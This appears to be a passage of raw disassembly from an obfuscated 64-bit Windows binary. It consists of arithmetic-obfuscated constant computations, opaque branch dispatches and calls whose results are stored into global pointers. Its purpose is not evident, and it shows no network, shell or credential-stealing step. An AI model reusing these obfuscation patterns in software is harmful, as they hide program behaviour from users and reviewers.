xor eax, 0xd2fba224
sub edx, eax
mov ecx, dword [0x14035f030]
xor ecx, 0x2d045ddb
add ecx, 0x96343a38
add ecx, edx
xor ecx, 0xc3bac8cc
mov dword [rsp + 0x40], ecx
movsxd rax, ecx
mov rbx, qword [rsp + 0x48]
add rbx, rax
mov dword [rsp + 0x40], r13d
lea rcx, [rbp + 0x38]
call fcn.1400538a4
nop
lea rcx, [rbp + 0x78]
call fcn.1400538a4
mov rdi, qword [rbp + 0x68]
and rdi, qword [rbp + 0x58]
mov qword [rbp - 0x20], r13
mov qword [rbp - 0x18], r13
lea rcx, [rbp + 0x98]
call fcn.1400538a4
cmp rbx, rdi
jne 0x140084652
lea rcx, [rbp + 0x210]
call fcn.14006f840
mov rax, qword [rbp + 8]
jmp 0x140085dd1
lea rcx, [rbp + 0xc8]
call fcn.140071eb0
nop
movabs rsi, 0xf2553393b31f09f7
movabs rbx, 0xeccae1a3199f21a3
mov rdi, r13
movabs rax, 0x25501aa64fa1eba8
movabs r11, 0x1720400bcd69af86
mov r13, qword [0x14035f070]
mov r14, r13
imul r14, rax
not r14
movabs rcx, 0xe8dfbff44b0f3e28
mov rax, qword [0x14035f060]
xor rax, rcx
and r14, rax
ror r14, 0xe
shr r14, 8
movabs rax, 0x854fee1d818013a8
mov r8, r13
imul r8, rax
movabs r9, 0x13351e5ce660de5d
sub r8, r9
movabs rax, 0x12556ac080000000
xor r8, rax
shr r8, 0x1f
not r8
lea rcx, [r8 + r9]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r8b
lea rdx, [0x14035f060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x8d
mov edx, 0x8000003f
and ecx, edx
jge 0x140084736
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r8
ror rax, cl
not rax
movabs rcx, 0xe101b1d48da43314
mov r12, rax
imul r12, rcx
add r9, r12
mov r10, r14
imul r10, r8
sub r10, r9
xor r10, rsi
movzx r15d, r9b
mov ecx, r15d
xor ecx, 2
and ecx, 0xf
and ecx, edx
jge 0x140084778
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
movabs rcx, 0xef12bc4d078e19bc
imul rax, rcx
movabs rcx, 0x66e2cf15d1a9237
add rax, rcx
xor r10, rax
mov rax, r9
sub rax, qword [0x14035f078]
xor r10, rax
xor r10, r11
mov rax, r10
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x140084a99
sub rax, 1
je 0x140084999
sub rax, 1
je 0x1400848c7
cmp rax, 1
jne 0x140084b14
mov rsi, r8
imul rsi, r9
movabs rax, 0x187b782685de52a9
add rax, r10
xor rsi, rax
ror rsi, 0x36
shr rsi, 0xc
not rsi
movabs rcx, 0x8357380ee79a
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x13b79b2495751941
xor rdx, rax
movzx eax, r10b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db960ee0b65
sub rax, r8
mov r8, rdx
xor r8, rax
mov rcx, r8
imul rcx, rbx
mov eax, 0xb135d98f
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x14035f060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0xc71b6c9aa1bb9fcc
sub rbx, rsi
shr rbx, cl
movabs rcx, 0x133d42e52a1287a1
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r10
imul rax, qword [r13 + rcx*8]
imul rax, r10
sub rax, r14
xor rbx, rax
jmp 0x140084b14
movabs rcx, 0xaaaaaa1ab12c24b1
mov r8, r10
xor r8, rcx
movabs rcx, 0x1206ed7321f8fd
imul r8, rcx
movabs rcx, 0xffff7e8a973c166d
imul r12, rcx
movabs rcx, 0xbe5df1404f3b04bb
add r8, rcx
add r8, r12
movabs rax, 0x277cd7be63fcf3d1
mov rcx, r8
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, r8
not r9
lea rax, [0x14035f060]
imul r9, qword [rax + rcx*8]
xor r9, 0xffffffffe479f261
lea ecx, [r10 - 0xd]
and cl, 0x3f
rol r9, cl
movabs rax, 0x8181cc000000000
imul r9, rax
mov rcx, r9
ror rcx, 0x1b
not rcx
movabs rax, 0x9b2de6b2b041c7d8
imul rcx, rax
mov rax, r8
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r14b
and cl, 0x3f
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140084b14
movabs rax, 0x2dd93c64a5c3f2c7
imul r10, rax
movabs rax, 0xd79435e50d79435f
mul r10
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r10b
sub cl, dl
movabs rdx, 0xdaacc6c4ce0f608
shl rdx, cl
mov rax, r11
mov r11, rdx
xor r11, rax
and r15d, 0x8000003f
jge 0x1400849ec
dec r15d
or r15d, 0xffffffc0
inc r15d
mov cl, r15b
rol r11, cl
movabs rcx, 0x13351e5ce660de5d
add rcx, r10
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xffffe1a3199f21a3
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r11, rax
movabs rax, 0xffffc7a7ede8529c
or r11, rax
mov rbx, r13
imul rbx, rsi
sub rbx, r9
mov rax, r14
sub rax, r11
xor rbx, rax
movabs rax, 0xc7a7c6a6bce05291
xor rbx, rax
mov rax, r9
imul rax, r10
imul rax, rbx
mov rdi, r8
sub rdi, rax
movabs rax, 0x789589473b21e8b
add rdi, rax
xor rdi, r14
movzx eax, r8b
imul ecx, eax, 0xf4
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140084b14
mov rcx, r10
imul rcx, qword [0x14035f080]
and rcx, r13
mov rax, r11
mov r11, rcx
xor r11, rax
ror r11, 6
imul r11, r9
mov rdi, r14
not rdi
imul rdi, r8
movabs rax, 0x7cd8a7de61110370
imul rdi, rax
imul r14, qword [0x14035f060], 0xffffffff866691ae
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140084b01
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x13351e5ce660de5d
add r14, rax
add r14, r12
movabs rax, 0xff055d7b915a09bd
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x14035f060]
imul r11, qword [rax + rsi*8]
not r9
imul r9, r14
imul r9, r10
imul r9, rbx
movabs rcx, 0xf5ed7e8796e94361
xor rcx, r8
not rcx
xor rcx, r9
sub rcx, r11
call fcn.14006de68
mov qword [0x14036d998], rax
xor eax, eax
mov dword [rbp + 0x10], eax
mov byte [rbp + 0x14], al
and qword [rbp - 0x10], rax
movabs rax, 0x225a67373926017d
mov qword [rbp - 0x10], rax
movabs rcx, 0xf33a52b11479cb03
add rcx, qword [rbp - 0x10]
movabs rax, 0xf05536625304a67e
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f4aa2fc60
sub rcx, rax
movabs rax, 0xf8f8cd9d78cee781
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654c049353ddb
add rcx, rax
mov rdx, qword [0x14035f040]
add rcx, rdx
movabs rax, 0x5a9179ae04a58e79
xor rcx, rax
movabs rax, 0x5f627dc65f575c4c
sub rcx, rax
movabs rax, 0x863b3cd4d7286be1
xor rcx, rax
movabs rax, 0x3483ce498fd9dded
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ac451e580
mov rax, qword [0x14035f038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53bae1a7f
mov rcx, qword [0x14035f030]
xor rcx, rax
movabs rax, 0xe0b56d79fe0dd0d5
add rdx, rax
add rdx, rcx
movabs rax, 0xfe89e71632efda80
xor rdx, rax
mov qword [rbp - 0x10], rdx
lea r8, [rbp + 0xc8]
lea rcx, [rbp + 0x10]
call fcn.14005533c
nop
and qword [rbp - 0x10], 0
movabs rsi, 0xead093dfe10f8ca
movabs rbx, 0xd905b4552250e637
xor r11d, r11d
movabs rdi, 0xfbf55be693cd34ee
movabs rax, 0xc12f71369cbcd150
mov r14, qword [0x14035f070]
imul r14, rax
not r14
movabs rcx, 0xfbf55be693915a20
mov r13, qword [0x14035f060]
mov rax, r13
xor rax, rcx
and r14, rax
ror r14, 0x1e
shr r14, 8
movabs rax, 0x3b306a7942fccdd0
mov r10, r13
imul r10, rax
movabs r8, 0x26fa4baaddaf19c9
sub r10, r8
movabs rax, 0xfb994efdffffffff
xor r10, rax
shr r10, 0x1f
not r10
lea rcx, [r10 + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r10b
lea rdx, [0x14035f060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x89
mov edx, 0x8000003f
and ecx, edx
jge 0x140084d6a
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r10
ror rax, cl
not rax
movabs rcx, 0x33ca24cc2166db84
mov r12, rax
imul r12, rcx
add r8, r12
movzx r15d, r8b
mov ecx, r15d
xor ecx, 6
and ecx, 0xf
and ecx, edx
jge 0x140084d9f
dec ecx
or ecx, 0xffffffc0
inc ecx
mov r9, r14
imul r9, r10
sub r9, r8
xor r9, rsi
rol r9, cl
movabs rcx, 0xf0cb19fdb791c15c
imul rax, rcx
movabs rcx, 0x31ca30c2b299202f
add rax, rcx
xor r9, rax
mov rax, r8
sub rax, qword [0x14035f078]
xor r9, rax
xor r9, rdi
mov rax, r9
xor rax, 0xfffffffffffffffe
and eax, 3
je 0x1400850cd
sub rax, 1
je 0x140084fcd
sub rax, 1
je 0x140084efb
cmp rax, 1
jne 0x140085148
mov rsi, r8
imul rsi, r10
movabs rax, 0x7de23e80d57ad941
add rax, r9
xor rsi, rax
ror rsi, 0x26
shr rsi, 0xc
not rsi
movabs rcx, 0x83573a2c509e
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x2678ced2ac9869d1
xor rdx, rax
movzx eax, sil
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db962ccbc61
sub rax, r10
mov r10, rdx
xor r10, rax
mov rcx, r10
imul rcx, rbx
mov eax, 0xb3176e8b
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r13, [0x14035f060]
mov cl, byte [r13 + rcx*8]
and cl, 0xf
movabs rbx, 0x2b534e96894517f0
sub rbx, rsi
shr rbx, cl
movabs rcx, 0x270270331f423811
add rcx, r12
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r13 + rcx*8]
imul rax, r9
sub rax, r14
xor rbx, rax
jmp 0x140085148
movabs rcx, 0xaaaaaa1ab30e93b5
mov r10, r9
xor r10, rcx
movabs rcx, 0x1206ed71034ff9
imul r10, rcx
movabs rcx, 0xffff7e8a951ea169
imul r12, rcx
movabs rcx, 0x48938e9cac140cb3
add r10, rcx
add r10, r12
movabs rax, 0x277cd7be61de44d5
mov rcx, r10
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r8, r10
not r8
lea rax, [0x14035f060]
imul r8, qword [rax + rcx*8]
xor r8, 0xffffffffe65b4565
lea ecx, [r9 - 9]
and cl, 0x3f
rol r8, cl
movabs rax, 0x403860c680000000
imul r8, rax
mov cl, r14b
and cl, 0x3f
mov rdx, r8
ror rdx, 0x22
not rdx
movabs rax, 0x9b2de6b2b8cb1bc8
imul rdx, rax
mov rax, r10
sub rax, r8
lea rdx, [rdx + rax*4]
ror rdx, cl
mov rax, rbx
mov rbx, rdx
imul rbx, rax
jmp 0x140085148
movabs rax, 0x15c88ac175e35c5d
imul r9, rax
and r15d, edx
jge 0x140084fea
dec r15d
or r15d, 0xffffffc0
inc r15d
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0xf152f6c201ef0735
shl rdx, cl
mov rax, rdi
mov rdi, rdx
xor rdi, rax
mov cl, r15b
rol rdi, cl
movabs rcx, 0x26fa4baaddaf19c9
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0xfffff4552250e637
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor rdi, rax
movabs rax, 0xffffc7a7efcae598
or rdi, rax
mov rbx, qword [0x14035f070]
imul rbx, rsi
sub rbx, r8
mov rax, r14
sub rax, rdi
xor rbx, rax
movabs rax, 0xc7a7c6a6bec2e595
xor rbx, rax
mov rax, r8
imul rax, rbx
imul rax, r9
mov r11, r10
sub r11, rax
movabs rax, 0x78958947190a98f
add r11, rax
xor r11, r14
movzx eax, r10b
imul ecx, eax, 0xf0
and cl, 0x3f
rol r11, cl
not r11
jmp 0x140085148
mov rcx, r9
imul rcx, qword [0x14035f080]
and rcx, qword [0x14035f080]
mov rax, rdi
mov rdi, rcx
xor rdi, rax
ror rdi, 0x2e
imul rdi, r8
mov r11, r14
not r11
imul r11, r10
movabs rax, 0x7cd8a7de6333b474
imul r11, rax
imul r14, r13, 0x5c6ece
mov rdx, qword [0x14035f068]
sub r14, rdx
mov al, r11b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140085135
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs rax, 0x26fa4baaddaf19c9
add r14, rax
add r14, r12
movabs rax, 0xff055d7b9378beb9
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r11, rdi
lea rax, [0x14035f060]
imul r11, qword [rax + rsi*8]
not r8
imul r8, rbx
imul r8, r14
imul r8, r9
movabs rcx, 0xf5ed7e8794cbf465
xor rcx, r10
not rcx
xor rcx, r8
sub rcx, r11
call fcn.14006de44
mov qword [0x14036d990], rax
xor r14d, r14d
mov dword [rbp + 0x58], r14d
lea rax, str.hl3_
mov qword [rbp + 0x60], rax
xor r8d, r8d
mov byte [rbp + 0x210], r8b
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0xe8]
call fcn.14006d44c
nop
mov qword [rbp], r14
movabs rax, 0xe43e54290a60ac22
mov qword [rbp], rax
mov qword [rbp - 8], r14
movabs rax, 0x5256a24c9c9c8d8a
mov qword [rbp - 8], rax
movabs rcx, 0xf33a52b0fbf69103
add rcx, qword [rbp]
movabs rax, 0xb655366253048dfb
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0xedf047f4a5972b2
sub rcx, rax
movabs rax, 0xf8f8cd9d91b42e69
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x47d654c06a7b5f16
add rcx, rax
mov rdi, qword [0x14035f040]
add rcx, rdi
movabs rax, 0x5a9179ae209b3ca1
xor rcx, rax
movabs rax, 0x5f627dc5f6f21af4
sub rcx, rax
movabs rax, 0x563b3cd4e36accfb
xor rcx, rax
movabs rdx, 0x3483ce49a7b18157
add rdx, rcx
add rdx, rdi
not rdx
movabs rcx, 0x13cce94ac3efd898
mov r10, qword [0x14035f038]
mov rax, r10
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53c102767
mov r11, qword [0x14035f030]
mov rcx, r11
xor rcx, rax
movabs rsi, 0xe0b56d799b5edbed
add rsi, rdx
add rsi, rcx
movabs rax, 0xb50dea2788ff4d28
xor rsi, rax
mov qword [rbp], rsi
movabs rcx, 0xf33a52b8f4e7c783
add rcx, qword [rbp - 8]
movabs rax, 0xecd53662530c86ec
xor rcx, rax
sub rcx, qword [0x14035f050]
sub rcx, qword [0x14035f058]
movabs rax, 0x7120fb809dbbb9ab
add rcx, rax
movabs rax, 0xf8f8cd9578df330f
xor rcx, rax
sub rcx, qword [0x14035f048]
movabs rax, 0x87d654b5980ff19b
add rcx, rax
add rcx, rdi
movabs rax, 0x5a9179a508a81a77
xor rcx, rax
movabs rax, 0x5f627dc4188a0822
sub rcx, rax
movabs rax, 0xa23b3cd0e6b26a32
xor rcx, rax
movabs rax, 0xb483ce41e68ee355
add rcx, rax
add rcx, rdi
not rcx
movabs rax, 0x13cce94ae3d39d72
xor r10, rax
sub rcx, r10
movabs rax, 0xec3316b51c2c628d
xor r11, rax
movabs rdi, 0xe0b56d995f477a47
add rdi, rcx
add rdi, r11
movabs rax, 0x5cd194a8056b5bca
xor rdi, rax
mov qword [rbp - 8], rdi
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0xe8]
call fcn.14008684c
movzx ebx, al
and rdi, rsi
mov qword [rbp - 8], r14
mov qword [rbp], r14
lea rcx, [rbp + 0xe8]
call fcn.1400538a4
cmp rbx, rdi
jne 0x140085406
xor eax, eax
mov byte [rbp + 0x210], al
lea rcx, [rbp + 0x210]
call fcn.14007044c
movabs rsi, 0xa3038675c454df87
movabs rax, 0xa3a0000000000000
movabs r14, 0x941daf02ef882e76
mov r10, qword [0x14035f060]
imul r10, rax
movabs rax, 0xe070000000000000
xor r10, rax
mov r13, r10
imul r13, rsi
movabs r11, 0xaaaaaaaaaaaaaaab
mov rax, r11
mul r13
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r13
sub rcx, rax
mov r8, r10
and r8, rsi
lea rax, [0x14035f060]
imul r8, qword [rax + rcx*8]
movabs rax, 0x97d9513a18d2ec10
imul r8, rax
shr r8, 3
movabs rax, 0xdd88ab611abb7e56
xor r8, rax
movabs rax, 0xffffff57c0d8df2b
mov rdi, r10
imul rdi, rax
sub rdi, 0x839ae68
xor rdi, r8
xor rdi, qword [0x14035f060]
mov rax, r8
imul rax, qword [0x14035f070]
movabs rcx, 0xb9de928bc96b600a
imul rax, rcx
not rax
and rdi, rax
ror rdi, 0x3c
shr rdi, 8
movabs r12, 0x5cfc798a3bab2079
lea rcx, [r10 + r12]
xor rcx, 0xfffffffff7e56b07
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x223c5c353230cd0
lea r9, [0x14035f060]
mov rbx, qword [r9 + rcx*8]
imul rbx, rax
sub rbx, r12
movabs rcx, 0x499ad58e200528e8
mov rax, r8
imul rax, rcx
xor rbx, rax
shr rbx, 0x1f
not rbx
mov r15, r10
xor r15, rbx
lea rcx, [rbx + r12]
mov rax, r11
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
movzx ecx, byte [r9 + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x1b
mov eax, 0x8000003f
and ecx, eax
jge 0x14008557d
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r15, cl
not r15
imul r15, r8
imul rdx, r15, 0xfffffffff7c65198
mov qword [rbp + 0x210], rdx
lea r11, [rdx + r12]
movzx r12d, r11b
mov ecx, r12d
xor ecx, 4
and ecx, 0xf
and ecx, eax
jge 0x1400855b1
dec ecx
or ecx, 0xffffffc0
inc ecx
mov r9, rbx
imul r9, rdi
sub r9, r11
xor r9, r14
rol r9, cl
mov rax, r11
sub rax, qword [0x14035f078]
xor r9, rax
movabs rax, 0xc2d1f6d490886f28
imul r15, rax
movabs rax, 0xd51b7d02bc47931
sub r15, rax
xor r9, r15
xor r9, r10
xor r9, r8
mov rax, r9
and eax, 3
je 0x140085949
sub rax, 1
je 0x140085809
sub rax, 1
je 0x140085714
cmp rax, 1
jne 0x1400859fe
mov r14, rbx
imul r14, r11
movabs rax, 0x8ccb6d527e9dad53
add rax, r9
xor r14, rax
ror r14, 4
shr r14, 0xc
xor r14, r10
not r14
movabs rcx, 0x83572b9a6e10
mov rdx, qword [0x14035f088]
add rdx, rcx
movabs rax, 0x5c7efcf25b2a6ef3
xor rdx, rax
movzx eax, r14b
movzx ecx, r9b
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db9737a82f3
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, rsi
mov eax, 0xa2a15019
add rcx, rax
movabs r15, 0xaaaaaaaaaaaaaaab
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea r12, [0x14035f060]
mov cl, byte [r12 + rcx*8]
and cl, 0xf
movabs rsi, 0xfdfb709242668d50
sub rsi, r14
shr rsi, cl
movabs rax, 0x5d049e128bd0414f
mov rcx, qword [rbp + 0x210]
add rcx, rax
mov rax, r15
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r9
imul rax, qword [r12 + rcx*8]
imul rax, r9
sub rax, rdi
xor rsi, rax
jmp 0x1400859fe
movabs rax, 0xaaaaaa1aa2b8ad27
mov rcx, r9
xor rcx, rax
movabs rax, 0x1206ed60b5716b
imul rcx, rax
movabs r11, 0xfff17ca875da9b5b
mov rax, r8
xor rax, r11
sub rcx, rax
movabs rax, 0xffff7e8a84a89ffb
imul rdx, rax
movabs rbx, 0x4844f86802049d9e
add rbx, rcx
add rbx, rdx
movabs rax, 0x277cd7be70687a47
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r11, rbx
not r11
lea rax, [0x14035f060]
imul r11, qword [rax + rcx*8]
xor r11, 0xfffffffff7ed7bf7
lea ecx, [r9 - 0x1b]
and cl, 0x3f
rol r11, cl
movabs rax, 0x200a780000000000
xor r13, rax
movabs rax, 0x7c7a7dc69eea7146
and r13, rax
imul r11, r13
mov cl, dil
and cl, 0x3f
mov rdx, r11
ror rdx, 0xc
not rdx
movabs rax, 0x9b2de6b2fe13e180
imul rdx, rax
mov rax, rbx
sub rax, r11
lea rdx, [rdx + rax*4]
ror rdx, cl
mov rax, rsi
mov rsi, rdx
imul rsi, rax
jmp 0x1400859fe
movabs rax, 0x2e4815444c2ff265
imul r9, rax
and r12d, 0x8000003f
jge 0x14008582a
dec r12d
or r12d, 0xffffffc0
inc r12d
movabs rax, 0xd79435e50d79435f
mul r9
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r9b
sub cl, dl
movabs rdx, 0x5cfc798a3bab2078
mov rax, r10
imul rax, rdx
xor rax, r14
not rax
shl rax, cl
xor r8, rax
mov cl, r12b
rol r8, cl
movabs rcx, 0x5cfc798a3bab2079
add rcx, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x675c454df87
lea rax, [0x14035f060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r8, rax
movabs rax, 0xffffc7a7fe7cdb0a
or r8, rax
mov rsi, qword [0x14035f070]
imul rsi, r14
sub rsi, r11
mov rax, rdi
sub rax, r8
xor rsi, rax
movabs rax, 0xc7a7c6a6af74db07
xor rsi, rax
movabs rax, 0xcccccccccccccccd
mul r10
shr rdx, 3
lea rax, [rdx + rdx*4]
add rax, rax
mov rcx, r10
sub rcx, rax
or rcx, 1
xor edx, edx
mov rax, rsi
div rcx
mov rcx, rdx
mov rdx, rsi
imul rdx, r11
imul rdx, r9
shr rdx, cl
mov rax, rbx
sub rax, rdx
sub rax, r10
movabs r10, 0x78958946026971d
add r10, rax
xor r10, rdi
movzx eax, bl
imul ecx, eax, 0xe2
and cl, 0x3f
rol r10, cl
not r10
jmp 0x1400859fe
movabs rax, 0xaaaaaaaaaaaaaaab
mul r8
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rcx, r8
sub rcx, rax
mov rax, r9
imul rax, qword [0x14035f080]
lea rdx, [0x14035f060]
mov rdx, qword [rdx + rcx*8]
and rdx, rax
xor rdx, r8
and r8b, 0x3f
mov cl, r8b
mov r8, rdx
ror r8, cl
imul r8, r11
not rdi
imul rdi, rbx
movabs rax, 0x7cd8a7de72858ae6
imul rdi, rax
mov rax, r10
imul rax, r8
mov r10, rdi
xor r10, rax
imul rdi, qword [0x14035f060], 0xfffffffff7c65198
mov rdx, qword [0x14035f068]
sub rdi, rdx
mov al, r10b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x1400859e7
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rdi, cl
movabs rax, 0x5cfc798a3bab2079
add rdi, rax
add rdi, qword [rbp + 0x210]
movabs rax, 0xff055d7b82ce802b
xor r14, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul r14
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub r14, rax
xor r10, r8
lea rax, [0x14035f060]
imul r10, qword [rax + r14*8]
not r11
imul r11, rsi
imul r11, rdi
imul r11, r9
movabs rcx, 0xf5ed7e87857dcaf7
xor rcx, rbx
not rcx
xor rcx, r11
sub rcx, r10
call fcn.14006e060
mov qword [0x14036d9b0], rax
movabs rax, 0x726c000000000000
mov r15, qword [0x14035f070]
mov rdi, r15
imul rdi, rax
movabs rax, 0x8523000000000000
xor rdi, rax
movabs r13, 0xbd54c9503a771b4
mov rcx, rdi
imul rcx, r13
movabs r10, 0xaaaaaaaaaaaaaaab
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, rdi
and r9, r13
lea rsi, [0x14035f060]
imul r9, qword [rsi + rcx*8]
movabs rax, 0xab287de7236138f8
imul r9, rax
shr r9, 3
movabs rax, 0x670ec5a37c6a76ba
xor r9, rax
movabs rax, 0xffffff57c0c4f40f
mov r8, rdi
imul r8, rax
sub r8, 0x8349db8
xor r8, r9
mov r12, qword [0x14035f060]
xor r8, r12
mov rax, r9
imul rax, r15
movabs rcx, 0xb9de928bc9774b2e
imul rax, rcx
not rax
and r8, rax
ror r8, 0x2b
shr r8, 8
movabs r14, 0xf42ab36afc588e4c
lea rcx, [rdi + r14]
xor rcx, 0xfffffffff7f94023
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rax, 0x98c274b50a4e6d90
mov r11, qword [rsi + rcx*8]
imul r11, rax
add r11, r13
movabs rcx, 0xc910662c857dc9b0
mov rax, r9
imul rax, rcx
xor r11, rax
shr r11, 0x1f
not r11
mov rbx, r11
xor rbx, rdi
lea rcx, [r11 + r14]
mov rax, r10
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, r11b
movzx ecx, byte [rsi + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0x3f
mov eax, 0x8000003f
and ecx, eax
jge 0x140085bcb
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
not rbx
imul rbx, r9
imul r14, rbx, 0xfffffffff7cb6248
movabs rsi, 0xf42ab36afc588e4c
add rsi, r14
movzx ecx, sil
and ecx, 0xf
and ecx, eax
jge 0x140085bfb
dec ecx
or ecx, 0xffffffc0
inc ecx
mov r10, r11
imul r10, r8
sub r10, rsi
movabs rax, 0x660926724ef76827
xor r10, rax
rol r10, cl
movabs rax, 0x78579816f65ae2a0
imul rbx, rax
movabs rax, 0x5a0295b7c3586690
sub rbx, rax
xor r10, rbx
mov rcx, rsi
sub rcx, qword [0x14035f078]
xor r10, rcx
xor r10, rdi
xor r10, r9
movabs rax, 0xaaaaaaaaaaaaaaab
mul r9
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
mov rdx, r9
sub rdx, rax
mov rax, r10
imul rax, qword [0x14035f080]
lea rcx, [0x14035f060]
mov rbx, qword [rcx + rdx*8]
and rbx, rax
xor rbx, r9
and r9b, 0x3f
mov cl, r9b
ror rbx, cl
imul rbx, rsi
not r8
imul r8, r11
movabs rax, 0x7cd8a7de7299a1c2
imul r8, rax
imul rdi, rbx
xor r8, rdi
imul r9, r12, 0xfffffffff7cb6248
mov rdx, qword [0x14035f068]
sub r9, rdx
mov al, r8b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140085cd7
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r9, cl
lea rcx, [r14 + r9]
imul rcx, r13
movabs rax, 0x5a0295b7c3586690
sub rcx, rax
movabs rax, 0xbd54c9503a771b3
sub rax, r14
imul rcx, rax
